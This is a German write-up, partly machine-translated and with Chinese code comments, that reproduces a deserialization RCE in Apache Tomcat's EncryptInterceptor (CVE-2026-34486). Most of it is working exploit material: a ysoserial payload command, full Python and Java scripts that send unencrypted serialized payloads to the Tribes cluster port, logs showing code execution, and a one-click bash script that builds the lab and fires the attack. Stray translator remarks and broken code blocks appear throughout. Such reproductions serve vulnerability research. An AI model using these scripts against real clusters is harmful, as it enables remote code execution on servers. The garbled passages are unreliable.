
CVE-2026-34486 Apache Tomcat EncryptInterceptor Umgehungs-Schwachstelle reproduziert (Reproduktion mit GLM5.1 abgeschlossen)
| Attribut | Details |
|---|
| CVE-Nummer | CVE-2026-34486 |
| Schweregrad | Important / High (CVSS 3.1: 7.5) |
| Schwachstellentyp | CWE-311 Fehlende Verschlüsselung sensibler Daten / CWE-807 Einschränkung nicht vertrauenswürdiger Eingaben |
| Betroffene Versionen | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| Behobene Versionen | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| Grundursache | super.messageReceived(msg) in EncryptInterceptor.messageReceived() wurde außerhalb des try-catch-Blocks platziert |
Bei der Behebung von CVE-2026-29146 (Padding Oracle) haben die Entwickler die Methode EncryptInterceptor.messageReceived() umstrukturiert und super.messageReceived(msg) von innerhalb des try-Blocks nach außerhalb verschoben:
Vor der Behebung (sicher):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }
**Schwachstellencode (gefährlich):**```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
Bytecode-Verifizierung (aus EncryptInterceptor.class von Tomcat 9.0.116):```
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
---
## 2. Reproduktionsumgebung
| Komponente | Version/Konfiguration |
|---|---|
| Betriebssystem | Ubuntu 22.04 (Sandbox-Umgebung) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (verwundbare Version) |
| Gadget-Bibliothek | Commons Collections 3.1 |
| Angriffswerkzeug | ysoserial v0.0.6 + benutzerdefinierter Python/Java-PoC |
### Umgebungstopologie```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2
### Schritt 2: Installieren der Gadget-Bibliothek```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
Bearbeiten Sie tomcat-node1/conf/server.xml und fügen Sie innerhalb von <Engine> Folgendes hinzu:```xml
> 注意: `encryptionKey` 必须是十六进制字符串格式(如 `546869734973415365637265744B6579` = "ThisIsASecretKey" 的 ASCII 十六进制),不能是明文字符串。
### Schritt 4: Session-Replikation aktivieren
Fügen Sie in `webapps/ROOT/WEB-INF/web.xml` Folgendes hinzu:```xml
<distributable/>
cd tomcat-node1 && bin/catalina.sh start
cd tomcat-node2 && bin/catalina.sh start
**Bestätigung des tatsächlichen Startprotokolls:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin
python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "
### Schritt 7: Erstellen und Senden von Tribes-Protokollnachrichten
Tribes-Nachrichten erfordern ein spezifisches XByteBuffer-Frame-Kapselungsformat:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
Hier ist die Übersetzung des angegebenen Chunks:
其中 ChannelData 载荷结构:
Die Struktur der ChannelData-Nutzlast:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
**关键**:消息体直接放入未加密的 Java 序列化 payload,这就是漏洞利用的核心——EncryptInterceptor 会尝试解密,失败后仍将原始字节传递给后续链。
#### 方式一:Python PoC 脚本 (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes)
def build_member_data(host_bytes, port):
"""构造 MemberImpl 序列化数据"""
inner = b""
inner += struct.pack(">q", 0) # memberAliveTime (8B)
inner += struct.pack(">i", port) # port (4B)
inner += struct.pack(">i", 0) # securePort (4B)
inner += struct.pack(">i", 0) # udpPort (4B)
inner += struct.pack(">b", len(host_bytes)) # hostLen (1B)
inner += host_bytes # host
inner += struct.pack(">i", 0) # commandLen (4B)
inner += struct.pack(">i", 0) # domainLen (4B)
inner += os.urandom(16) # uniqueId (16B)
inner += struct.pack(">i", 0) # payloadLen (4B)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
"""构造 ChannelData 载荷"""
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
channel_data = b""
channel_data += struct.pack(">i", 0) # options (无 ACK)
channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
channel_data += struct.pack(">i", len(unique_id)) # uniqueIdLen
channel_data += unique_id # uniqueId
channel_data += struct.pack(">i", len(member_data)) # memberDataLen
channel_data += member_data # memberData
channel_data += struct.pack(">i", len(message_body)) # messageLen
channel_data += message_body # message body
return channel_data
def build_tribes_packet(channel_data):
"""封装 XByteBuffer 帧"""
return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
def send_exploit(target_ip, target_port, payload_file, receiver_port=4000):
print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
print(f"[*] 目标: {target_ip}:{target_port}")
print(f"[*] Payload: {payload_file}")
# 读取 payload
with open(payload_file, 'rb') as f:
raw_payload = f.read()
print(f"[*] Payload 大小: {len(raw_payload)} bytes")
print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}")
if raw_payload[:2] != b'\xac\xed':
print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头")
# 解析目标 IP 为字节数组
host_bytes = socket.inet_aton(target_ip)
# 构造 Tribes 消息
# 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链
# 因此我们直接发送未加密的 Java 序列化 payload 作为消息体
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = build_tribes_packet(channel_data)
print(f"[*] 完整数据包大小: {len(packet)} bytes")
print(f"[*] 连接到 {target_ip}:{target_port}...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
print(f"[*] 发送 {len(packet)} 字节的数据包...")
sock.sendall(packet)
print("[+] 数据包发送成功!")
print("[*] 等待目标处理...")
# 等待可能的响应或 ACK
try:
response = sock.recv(4096)
if response:
print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}")
except socket.timeout:
pass
sock.close()
print("[+] 连接关闭")
print()
print("[*] 漏洞触发标志:")
print(" 1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
print(" 2. 随后发生反序列化 -> RCE")
print(" 3. 没有反序列化异常日志(静默执行)")
except ConnectionRefusedError:
print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放")
sys.exit(1)
except Exception as e:
print(f"[-] 错误: {e}")
sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f"用法: {sys.argv[0]} <target_ip> <port> <payload_file> [receiver_port]")
print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
print(f" {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
payload_file = sys.argv[3]
receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port
if not os.path.exists(payload_file):
print(f"[-] Payload 文件不存在: {payload_file}")
sys.exit(1)
send_exploit(target_ip, target_port, payload_file, receiver_port)
Verwendung:```bash python3 exploit.py 172.24.0.7 4000 payload_touch.bin
#### Methode 2: Java-PoC-Skript (`ExploitSender.java`)```java
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.GroupChannel;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.transport.Constants;
import java.io.Serializable;
/**
* CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload
* 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外
* 解密失败后,原始未加密字节仍被传递给后续处理链
*/
public class ExploitSender {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("用法: java ExploitSender <target_host> <target_port> <payload_file>");
System.exit(1);
}
String targetHost = args[0];
int targetPort = Integer.parseInt(args[1]);
String payloadFile = args.length > 2 ? args[2] : null;
System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
System.out.println("[*] 目标: " + targetHost + ":" + targetPort);
// 读取 payload
java.io.File f = new java.io.File(payloadFile);
java.io.FileInputStream fis = new java.io.FileInputStream(f);
byte[] payload = new byte[(int) f.length()];
fis.read(payload);
fis.close();
System.out.println("[*] Payload 大小: " + payload.length + " bytes");
System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1]));
// 直接通过 TCP 发送 Tribes 格式的消息
// 构造 ChannelData 数据包
java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
java.io.OutputStream out = sock.getOutputStream();
// 使用 Tribes 内部格式发送
// XByteBuffer 帧格式: [START_DATA][length][data][END_DATA]
byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33}; // "TLF003"
// 构造 ChannelData 载荷
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);
// options (4B)
dos.writeInt(0);
// timestamp (8B)
dos.writeLong(System.currentTimeMillis());
// uniqueId length + uniqueId (4B + 16B)
byte[] uniqueId = new byte[16];
new java.util.Random().nextBytes(uniqueId);
dos.writeInt(uniqueId.length);
dos.write(uniqueId);
// member data - 构造最小的 MemberImpl
java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);
byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();
// MemberImpl inner data
java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos);
innerDos.writeLong(0); // memberAliveTime
innerDos.writeInt(targetPort); // port
innerDos.writeInt(0); // securePort
innerDos.writeInt(0); // udpPort
byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress();
innerDos.writeByte(hostBytes.length); // hostLen
innerDos.write(hostBytes); // host
innerDos.writeInt(0); // commandLen
innerDos.writeInt(0); // domainLen
innerDos.write(new byte[16]); // uniqueId (16B)
innerDos.writeInt(0); // payloadLen
innerDos.flush();
byte[] innerData = innerBaos.toByteArray();
// Full member data
memberDos.write(TRIBES_MBR_BEGIN);
memberDos.writeByte(0x01);
memberDos.writeByte(0x00);
memberDos.writeInt(innerData.length);
memberDos.write(innerData);
memberDos.write(TRIBES_MBR_END);
memberDos.writeByte(0x01);
memberDos.writeByte(0x00);
memberDos.flush();
byte[] memberData = memberBaos.toByteArray();
// Write member data length + data
dos.writeInt(memberData.length);
dos.write(memberData);
// Write message body length + payload (未加密的序列化数据)
dos.writeInt(payload.length);
dos.write(payload);
dos.flush();
byte[] channelData = baos.toByteArray();
// 构造完整帧
java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
frameBaos.write(START_DATA);
// length as 4 bytes big-endian
frameBaos.write(new byte[]{
(byte) ((channelData.length >> 24) & 0xFF),
(byte) ((channelData.length >> 16) & 0xFF),
(byte) ((channelData.length >> 8) & 0xFF),
(byte) (channelData.length & 0xFF)
});
frameBaos.write(channelData);
frameBaos.write(END_DATA);
byte[] packet = frameBaos.toByteArray();
System.out.println("[*] 完整数据包大小: " + packet.length + " bytes");
System.out.println("[*] 发送数据包...");
out.write(packet);
out.flush();
System.out.println("[+] 数据包发送成功!");
// 等待响应
Thread.sleep(2000);
sock.close();
System.out.println("[+] 连接关闭");
}
}
Kompilieren und Ausführen:```bash
javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java
java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin
### Schritt 8: Auslösung der Schwachstelle verifizieren
**Opfer-Log (Entschlüsselung fehlgeschlagen + Nachricht wird dennoch zugestellt):**```
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
...
at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)
Erfolgreiche RCE-Verifizierung (Flag-Datei wurde erstellt):``` $ ls -la /tmp/CVE-2026-34486-PWNED -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
---
## 4. Vollständige grafische Darstellung der Exploit-Kette
---```
攻击者
│
│ TCP 连接到 172.24.0.7:4000
│ 发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003)
│ ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget)
│
▼
NioReceiver
│ 解帧: 识别 FLT2002/TLF003,提取 ChannelData
│ ChannelData.getDataFromPackage() 解析消息
▼
ChannelCoordinator.messageReceived()
│ 沿拦截器链向上传递
▼
TcpFailureDetector.messageReceived()
▼
EncryptInterceptor.messageReceived() ← 漏洞点
│
│ try {
│ data = msg.getMessage().getBytes(); // 获取 payload 原始字节
│ data = encryptionManager.decrypt(data); // ❌ 解密失败!
│ // → 抛出 IllegalBlockSizeException
│ } catch (GeneralSecurityException gse) {
│ log.error("Failed to decrypt message"); // 仅记录日志
│ // 异常被吞,执行流继续
│ }
│
│ super.messageReceived(msg); ← 💀 在 try-catch 外,仍会执行!
│ msg 中仍是攻击者的原始字节
▼
MessageDispatchInterceptor.messageReceived()
▼
GroupChannel.messageReceived()
│ 反序列化: ObjectInputStream.readObject() ← 无类过滤!
▼
CommonsCollections6 Gadget Chain 执行
│ Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
▼
RCE 成功 ✅
Aus der Dekompilierung von EncryptInterceptor.class in Tomcat 9.0.116:
| Offset | Anweisung | Bedeutung |
|---|---|---|
| 0-38 | Inhalt des try-Blocks | decrypt() + Ersetzung des Nachrichtentexts |
| 39 | goto 60 | Sprung am normalen Ende des try-Blocks |
| 42-58 | catch-Block | Fängt GeneralSecurityException ab, nur log.error |
| 60 | aload_0, aload_1 | Lädt this und msg |
| 62 | invokespecial #136 | super.messageReceived(msg) |
Exception-Tabelle: from=0, to=39, target=42 — Offset 60 liegt eindeutig außerhalb des try-Bereichs.
| Beweis | Inhalt |
|---|---|
| Entschlüsselungsfehler-Log | SEVERE: Failed to decrypt message + IllegalBlockSizeException |
| RCE-Markierungsdatei | /tmp/CVE-2026-34486-PWNED erstellt am Apr 15 03:46 |
| Deserialisierungsausnahme-Log | Keine — Payload wird still ausgeführt |
Im Log befindet sich nur ein SEVERE-Eintrag EncryptInterceptor.decrypt.failed, keine Deserialisierungsausnahme. Das bedeutet:
Upgrade auf die behobene Version: Tomcat 9.0.117 / 10.1.54 / 11.0.21.
Behebungsmethode: super.messageReceived(msg) wird zurück in den try-Block verschoben, sodass nur erfolgreich entschlüsselte Nachrichten weitergegeben werden.
Falls ein sofortiges Upgrade nicht möglich ist:
ObjectInputFilter hinzu, um die deserialisierbaren Klassen einzuschränkentomcat-node1/bin/shutdown.sh tomcat-node2/bin/shutdown.sh
rm -f /tmp/CVE-2026-34486-PWNED
rm -rf tomcat-lab/
---
## 8. Zusammenfassung
CVE-2026-34486 ist eine kritische Regressions-Schwachstelle, die durch eine **einzeilige Codeverschiebung** eingeführt wurde. Sie veranschaulicht perfekt das Prinzip: „Sicherheitsfixes selbst können neue Sicherheitslücken einführen":
1. **Behebung von Padding Oracle (CVE-2026-29146)** → Refactoring des Verschlüsselungsmanagers
2. **Codeverschiebung während des Refactorings** → `super.messageReceived(msg)` aus dem try-Block verschoben
3. **Vollständiger Ausfall des Verschlüsselungs-Interceptors** → Unverschlüsselte Bytes werden direkt an den ungefilterten Deserialisierungs-Einstiegspunkt übergeben
4. **Ergebnis**: Cluster, die absichtlich Verschlüsselungsschutz aktiviert haben, werden zum am einfachsten angreifbaren Ziel für RCE
Diese Reproduktion hat die gesamte Kette von der Übertragung unverschlüsselter Payloads bis zum erfolgreichen RCE vollständig verifiziert und die tatsächliche Ausnutzbarkeit der Schwachstelle nachgewiesen.
---
## 9. Ein-Klick-Reproduktionsskript
> Das folgende Skript kann auf einer frischen Ubuntu/Debian-Maschine die vollständige Reproduktion von CVE-2026-34486 mit einem Klick durchführen. Das Skript erkennt und installiert automatisch Abhängigkeiten (JDK, Python3), lädt die verwundbare Tomcat-Version herunter, konfiguriert den Cluster + EncryptInterceptor, generiert die Payload, sendet den Angriff und gibt schließlich das Verifikationsergebnis aus.
>
> **Verwendung**: Speichern als `cve-2026-34486-repro.sh`, ausführen mit `chmod +x cve-2026-34486-repro.sh && sudo ./cve-2026-34486-repro.sh````bash
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================
set -e
# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"
# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
info() { echo -e "${CYAN}[*]${NC} $1"; }
ok() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
fail() { echo -e "${RED}[-]${NC} $1"; exit 1; }
# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."
# 检测 root
if [ "$EUID" -ne 0 ]; then
fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi
# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1
# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"
# 验证 Python3
python3 --version
ok "Python3 已就绪"
# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"
# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."
TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"
wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"
tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"
# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."
wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"
# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."
wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"
# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."
# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys
with open(sys.argv[1], 'r') as f:
xml = f.read()
# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)
# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="8">
<Manager className="org.apache.catalina.ha.session.DeltaManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
encryptionAlgorithm="AES/CBC/PKCS5Padding"
encryptionKey="''' + sys.argv[4] + '''"/>
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
selectorTimeout="5000" maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
<Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
'''
# 替换被注释的 Cluster 占位符
xml = re.sub(
r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
cluster_xml,
xml,
flags=re.DOTALL
)
with open(sys.argv[1], 'w') as f:
f.write(xml)
PYEOF
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node1/conf/server.xml" \
"$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node2/conf/server.xml" \
"$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"
ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"
# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
mkdir -p "$node/webapps/ROOT/WEB-INF"
cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"
# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."
chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh
export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"
info "等待集群启动 (15秒)..."
sleep 15
# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"
# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"
# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."
# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi
$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
CommonsCollections6 "touch ${RCE_MARKER}" \
> "$WORKDIR/payload_touch.bin" 2>/dev/null
if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"
# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time
START_DATA = b"FLT2002"
END_DATA = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END = b"TRIBES-E\x01\x00"
def build_member_data(host_bytes, port):
inner = b""
inner += struct.pack(">q", 0)
inner += struct.pack(">i", port)
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += struct.pack(">b", len(host_bytes))
inner += host_bytes
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += os.urandom(16)
inner += struct.pack(">i", 0)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
cd = b""
cd += struct.pack(">i", 0)
cd += struct.pack(">q", int(time.time() * 1000))
cd += struct.pack(">i", len(unique_id))
cd += unique_id
cd += struct.pack(">i", len(member_data))
cd += member_data
cd += struct.pack(">i", len(message_body))
cd += message_body
return cd
def send_exploit(target_ip, target_port, payload_file, receiver_port):
with open(payload_file, 'rb') as f:
raw_payload = f.read()
host_bytes = socket.inet_aton(target_ip)
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
